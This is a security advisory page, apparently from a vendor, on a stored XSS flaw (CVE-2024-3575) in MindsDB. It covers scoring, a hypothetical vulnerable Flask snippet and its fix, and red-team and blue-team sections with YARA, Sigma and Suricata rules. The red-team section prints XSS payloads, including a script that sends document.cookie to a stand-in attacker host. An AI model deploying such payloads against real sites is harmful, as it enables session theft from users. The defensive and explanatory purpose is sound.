CVE-2024-3575
Executive Summary
CVE-2024-3575 is a stored Cross-Site Scripting (XSS) vulnerability identified in the MindsDB platform. This flaw allows an authenticated attacker to inject malicious scripts into the application, which are then stored and executed in the browsers of other users who view the affected content. The vulnerability has a CVSS score of 5.8 (Medium), indicating a moderate risk primarily due to the requirement for user interaction and the need for authenticated access. The EPSS score of 0.0% suggests that active exploitation in the wild is currently not observed, but the lack of a confirmed patch makes this a significant concern for organizations using MindsDB.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
MindsDB is a Python-based open-source platform. The vulnerability resides in the web interface, which is part of the core application. As a Python package, the risk extends to any environment where MindsDB is deployed, including cloud instances, Docker containers, and on-premises servers. Organizations should audit their deployment for any custom integrations or plugins that might expose the vulnerable component.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) - The attack can be launched remotely over the network.
- Attack Complexity (AC): Low (L) - No special conditions are required for the attack.
- Privileges Required (PR): Low (L) - The attacker must have a valid user account with low-level privileges.
- User Interaction (UI): Required (R) - The victim must click on or view the malicious content.
- Scope (S): Changed (C) - The impact extends beyond the vulnerable component, potentially affecting other parts of the application.
- Confidentiality (C): Low (L) - Limited information disclosure is possible.
- Integrity (I): Low (L) - Limited ability to modify data.
- Availability (A): None (N) - No impact on system availability.
Threat Level: Medium. The requirement for authentication and user interaction reduces the immediate risk, but the stored nature of the XSS can lead to persistent attacks against multiple users.
Deep Dive & Mechanics
The vulnerability is a stored XSS (CWE-79) in the MindsDB web interface. The exact location within the application is not publicly disclosed, but it likely involves a user input field (e.g., model names, descriptions, or SQL queries) that is not properly sanitized before being stored and later rendered in the browser.
Attack Flow:
- Authentication: The attacker logs into MindsDB with a valid low-privilege account.
- Injection: The attacker crafts a malicious payload (e.g.,
<script>alert('XSS')</script>) and submits it through a vulnerable input field. - Storage: The payload is stored in the MindsDB database.
- Execution: When another user (including administrators) views the page containing the stored payload, the script executes in their browser context.
- Impact: The attacker can steal session cookies, perform actions on behalf of the victim, deface the interface, or redirect users to malicious sites.
Vulnerable vs. Patched Code
Since no patch is available, the following is a hypothetical comparison based on common XSS remediation patterns.
Vulnerable Code (Python/Flask example):
@app.route('/create_model', methods=['POST'])
def create_model():
model_name = request.form['model_name']
# No sanitization
db.execute("INSERT INTO models (name) VALUES (?)", (model_name,))
return redirect('/models')
Patched Code (Hypothetical):
import bleach
@app.route('/create_model', methods=['POST'])
def create_model():
model_name = request.form['model_name']
# Sanitize input
clean_name = bleach.clean(model_name, tags=[], strip=True)
db.execute("INSERT INTO models (name) VALUES (?)", (clean_name,))
return redirect('/models')
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- A running MindsDB instance (e.g., Docker:
docker run -p 47334:47334 mindsdb/mindsdb) - A valid low-privilege user account
Exploitation Steps:
- Login: Access the MindsDB web interface and log in.
- Identify Vulnerable Input: Look for input fields that are reflected or stored, such as model names, descriptions, or SQL query editors.
- Craft Payload: Use a simple JavaScript payload to test:
<script>alert(document.cookie)</script> - Inject: Submit the payload through the vulnerable field.
- Trigger: Have another user (or yourself in a different session) view the page where the payload is stored.
- Escalate: If successful, use a more sophisticated payload to steal cookies or perform actions:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
Blue Team (Defensive)
Detection Steps:
- Monitor Logs: Look for unusual input patterns in web server logs, especially
<script>tags or JavaScript event handlers. - Review User Activity: Identify accounts that have submitted suspicious content.
- Inspect Database: Query the MindsDB database for stored XSS payloads:
SELECT * FROM models WHERE name LIKE '%<script>%'; - Use Browser Tools: Check for unexpected JavaScript execution in the browser console.
Mitigation Steps:
- Input Validation: Implement strict input validation and sanitization on all user inputs.
- Output Encoding: Encode all user-supplied data before rendering in HTML.
- Content Security Policy (CSP): Deploy a strict CSP header to block inline scripts.
- Web Application Firewall (WAF): Use a WAF to filter malicious payloads.
Indicators of Compromise (IOCs)
- Network IOCs:
- Outbound HTTP requests to unknown domains from the MindsDB server.
- Unusual
Refererheaders containing JavaScript payloads.
- File IOCs:
- Log entries containing
<script>tags oronerror/onloadevent handlers.
- Log entries containing
- Behavioral IOCs:
- Multiple users reporting unexpected pop-ups or redirects.
- Unauthorized actions performed under legitimate user accounts.
Detection Engineering
YARA Rule
rule CVE_2024_3575_Stored_XSS {
meta:
description = "Detects stored XSS payloads in MindsDB logs or database dumps"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-3575"
strings:
$xss1 = /<script[^>]*>.*?<\/script>/is
$xss2 = /onerror\s*=\s*["']?[^"'\s>]+["']?/is
$xss3 = /onload\s*=\s*["']?[^"'\s>]+["']?/is
$xss4 = /javascript\s*:/is
condition:
any of ($xss*)
}
Sigma Rule
title: Stored XSS Payload in MindsDB Logs
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects potential stored XSS payloads in MindsDB web server logs
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains:
- '<script'
- 'onerror='
- 'onload='
- 'javascript:'
condition: selection
falsepositives:
- Legitimate use of JavaScript in documentation or tutorials
level: medium
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2024-3575 Stored XSS Payload in MindsDB";
flow:to_server,established;
content:"POST"; http_method;
content:"<script"; http_client_body;
sid:1000001;
rev:1;
reference:cve,2024-3575;
)
Remediation & Mitigation
Immediate Actions:
- Disable User Registration: If not required, disable self-registration to limit the attack surface.
- Review User Accounts: Audit all user accounts and remove any suspicious or inactive ones.
- Implement WAF Rules: Deploy a Web Application Firewall with rules to block common XSS patterns.
Long-Term Fixes:
- Apply Patch: Monitor the MindsDB GitHub repository for an official patch and apply it as soon as available.
- Upgrade: Upgrade to the latest version of MindsDB once a fix is released.
- Code Review: Conduct a thorough code review of all user input handling functions.
- Security Training: Educate developers on secure coding practices, especially regarding XSS prevention.
Workarounds (if patch is unavailable):
- Input Sanitization: Use a library like
bleach(Python) to sanitize all user inputs before storage. - Output Encoding: Ensure all user-supplied data is HTML-encoded before rendering.
- CSP Header: Add a Content-Security-Policy header that restricts script sources:
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';
Valters IT